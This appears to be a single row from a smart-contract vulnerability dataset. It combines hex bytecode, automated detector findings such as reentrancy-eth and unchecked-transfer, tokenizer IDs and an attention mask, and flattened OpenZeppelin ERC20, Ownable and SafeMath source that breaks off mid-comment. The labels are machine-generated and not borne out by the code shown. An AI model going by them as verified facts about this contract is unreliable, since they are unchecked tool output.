800280851c81851c1c800280861c81861c1c800280871c81871c1c800280881c81881c1c800280891c81891c1c8002808a1c818a1c1c8002808b1c818b1c1c8002808c1c818c1c1c8002808d1c818d1c1c8002808e1c9c81901c9c909c1c80029c8d901c9e9d607f198f0160401b60c09190911c678000000000000000161760c19b909b1c674000000000000000169a909a1760c29990991c672000000000000000169890981760c39790971c671000000000000000169690961760c49590951c670800000000000000169490941760c59390931c670400000000000000169290921760c69190911c670200000000000000161760c79190911c670100000000000000161760c89190911c6680000000000000161760c99190911c6640000000000000161760ca9190911c6620000000000000161760cb9190911c6610000000000000161760cc9190911c6608000000000000161760cd9190911c66040000000000001617693627a301d71055774c8581026f028f6481ab7f045a5af012a19d003aa9198101608090811d906fdb2df09e81959a81455e260799a0632f8301901d600281810b9083900b14614ccc57886001600160a01b0316614cb082614281565b6001600160a01b03161115614cc55781614cc7565b805b614cce565b815b9998505050505050505050565b60008115614d495760006001600160a01b03841115614d1157614d0c84600160601b876001600160801b0316615027565b614d29565b6001600160801b038516606085901b81614d2757fe5b045b9050614d416149c36001600160a01b03881683613325565b915050613934565b60006001600160a01b03841115614d7757614d7284600160601b876001600160801b0316614fcc565b614d8e565b614d8e606085901b6001600160801b038716615006565b905080866001600160a01b031611614da557600080fd5b6001600160a01b038616039050613934565b80546001019055565b60008282604051602001614dd592919061571a565b60405160208183030381529060405280519060200120905092915050565b604080516000808252602082019092526001600160a01b038416908390604051614e1d91906156fe565b60006040518083038185875af1925050503d8060008114614e5a576040519150601f19603f3d011682016040523d82523d6000602084013e614e5f565b606091505b50509050806120c05760405162461bcd60e51b81526004016109b990615b07565b6000826001600160a01b0316846001600160a01b03161115614ea0579192915b6000614ec3856001600160a01b0316856001600160a01b0316600160601b615027565b9050612c05614ede84838888036001600160a01b0316615027565b614669565b6000826001600160a01b0316846001600160a01b03161115614f03579192915b613934614ede83600160601b8787036001600160a01b0316615027565b6000826001600160a01b0316846001600160a01b03161115614f40579192915b836001600160a01b0316614f79606060ff16846001600160801b0316901b8686036001600160a01b0316866001600160a01b0316615027565b81614f8057fe5b04949350505050565b6000826001600160a01b0316846001600160a01b03161115614fa9579192915b613934826001600160801b03168585036001600160a01b0316600160601b615027565b6000614fd9848484615027565b905060008280614fe557fe5b8486091115610d16576000198110614ffc57600080fd5b6001019392505050565b808204910615150190565b806001600160a01b038116811461127557600080fd5b600080806000198587098686029250828110908390030390508061505d576000841161505257600080fd5b508290049050610d16565b80841161506957600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150509392505050565b600082601f8301126150e6578081fd5b815160206150fb6150f683615e01565b615ddd565b8281528181019085830183850287018401881015615117578586fd5b855b8581101561513e57815161512c81615e4b565b84529284019290840190600101615119565b5090979650505050505050565b60008083601f84011261515c578182fd5b50813567ffffffffffffffff811115615173578182fd5b60208301915083602082850101111561518b57600080fd5b9250929050565b8051600281900b811461127557600080fd5b80516001600160801b038116811461127557600080fd5b805161ffff8116811461127557600080fd5b6000602082840312156151de578081fd5b8135610d1681615e4b565b600080604083850312156151fb578081fd5b823561520681615e4b565b9150602083013561521681615e4b565b809150509250929050565b600080600060608486031215615235578081fd5b833561524081615e4b565b9250602084013561525081615e4b565b929592945050506040919091013590565b600080600080600080600060e0888a03121561527b578283fd5b873561528681615e4b565b9650602088013561529681615e4b565b9550604088013594506060880135935060808801356152b481615e6e565b9699959850939692959460a0840135945060c09093013592915050565b600080604083850312156152e3578182fd5b82356152ee81615e4b565b946020939093013593505050565b6000806040838503121561530e578182fd5b825167ffffffffffffffff80821115615325578384fd5b818501915085601f830112615338578384fd5b815160206153486150f683615e01565b82815281810190858301838502870184018b1015615364578889fd5b8896505b848710156153945780518060060b811461538057898afd5b835260019690960195918301918301615368565b50918801519196509093505050808211156153ad578283fd5b506153ba858286016150d6565b9150509250929050565b6000602082840312156153d5578081fd5b8151610d1681615e60565b6000602082840312156153f1578081fd5b610d1682615192565b6000806040838503121561540c578182fd5b505080516020909101519092909150565b60008060008060608587031215615432578182fd5b8435935060208501359250604085013567ffffffffffffffff811115615456578283fd5b6154628782880161514b565b95989497509550505050565b60006020828403121561547f578081fd5b6040516020810181811067ffffffffffffffff8211171561549c57fe5b60405282356154aa81615e4b565b81529392505050565b6000602082840312156154c4578081fd5b6040516020810181811067ffffffffffffffff821117156154e157fe5b60405282356154aa81615e60565b60008060408385031215615501578182fd5b61550a836151a4565b9150615518602084016151a4565b90509250929050565b600080600080600060a08688031215615538578283fd5b615541866151a4565b9450602086015193506040860151925061555d606087016151a4565b915061556b608087016151a4565b90509295509295909350565b600080600080600080600060e0888a031215615591578081fd5b875161559c81615e4b565b96506155aa60208901615192565b95506155b8604089016151bb565b94506155c6606089016151bb565b93506155d4608089016151bb565b925060a08801516155e481615e6e565b60c08901519092506155f581615e60565b8091505092959891949750929550565b600060208284031215615616578081fd5b815162ffffff81168114610d16578182fd5b600060208284031215615639578081fd5b5035919050565b600060208284031215615651578081fd5b5051919050565b6000806040838503121561566a578182fd5b50508035926020909101359150565b60006020828403121561568a578081fd5b815163ffffffff81168114610d16578182fd5b600081518084526156b5816020860160208601615e1f565b601f01601f19169290920160200192915050565b60609390931b6bffffffffffffffffffffffff19168352600291820b60e890811b6014850152910b901b6017820152601a0190565b60008251615710818460208701615e1f565b9190910192915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b60006001600160a01b038088168352861515602084015285604084015280851660608401525060a060808301526157a760a083018461569d565b979650505050505050565b60006001600160a01b03871682528560020b60208301528460020b60408301526001600160801b038416606083015260a060808301526157a760a083018461569d565b6001600160a01b03959095168552600293840b60208601529190920b60408401526001600160801b03918216606084015216608082015260a00190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b8181101561588957835163ffffffff1683529284019291840191600101615867565b50909695505050505050565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b93845260ff9290921660208401526040830152606082015260800190565b60029190910b815260200190565b600293840b81529190920b60208201526001600160801b03909116604082015260600190565b600294850b81529290930b60208301526040820152606081019190915260800190565b600060208252610d16602083018461569d565b60208082526003908201526249535360e81b604082015260600190565b602080825260039082015262544c5560e81b604082015260600190565b602080825260029082015261545360f01b604082015260600190565b602080825260029082015261115160f21b604082015260600190565b602080825260029082015261046560f41b604082015260600190565b60208082526004908201526341465a4160e01b604082015260600190565b602080825260039082015262425a4160e81b604082015260600190565b602080825260029082015261504760f01b604082015260600190565b602080825260039082015262545a4160e81b604082015260600190565b60208082526003908201526220a72b60e91b604082015260600190565b60208082526003908201526220982960e91b604082015260600190565b602080825260039082015262465a4160e81b604082015260600190565b6020808252600390820152622098a360e91b604082015260600190565b60208082526003908201526253544560e81b604082015260600190565b60208082526003908201526224a9ab60e91b604082015260600190565b6020808252600190820152601560fa1b604082015260600190565b60208082526002908201526114d560f21b604082015260600190565b60208082526003908201526254554d60e81b604082015260600190565b60208082526003908201526215135360ea1b604082015260600190565b602080825260039082015262544c4d60e81b604082015260600190565b602080825260029082015261495360f01b604082015260600190565b60208082526003908201526229aa2360e91b604082015260600190565b60208082526003908201526250534360e81b604082015260600190565b6020808252600190820152605360f81b604082015260600190565b6020808252600390820152624d5a4160e81b604082015260600190565b6020808252600290820152614e4160f01b604082015260600190565b6020808252600390820152622098a960e91b604082015260600190565b6020808252600190820152602360f91b604082015260600190565b6020808252600190820152602960f91b604082015260600190565b6020808252600290820152614f4760f01b604082015260600190565b60208082526004908201526341545a4160e01b604082015260600190565b602080825260029082015261524360f01b604082015260600190565b60208082526003908201526220982360e91b604082015260600190565b90516001600160a01b0316815260200190565b90511515815260200190565b6001600160801b0395861681526020810194909452604084019290925283166060830152909116608082015260a00190565b918252602082015260400190565b9283526020830191909152604082015260600190565b93845260208401929092526040830152606082015260800190565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715615df957fe5b604052919050565b600067ffffffffffffffff821115615e1557fe5b5060209081020190565b60005b83811015615e3a578181015183820152602001615e22565b838111156128e65750506000910152565b6001600160a01b03811681146128ea57600080fd5b80151581146128ea57600080fd5b60ff811681146128ea57600080fdfea2646970667358221220204c75b30e2c2c32dd4ac1c044fcd1ede59defb4a51661b56888a7f0bb76d95964736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2487, 2278, 2575, 14697, 2581, 22610, 2575, 6679, 16932, 2575, 11329, 2581, 2620, 2509, 2050, 2620, 2581, 2683, 28154, 19841, 16409, 2620, 2497, 2094, 2575, 2620, 9818, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,486
0x96E27AC22592BDACfaa0f788530727D71bbD21fb
// File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol pragma solidity ^0.6.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is 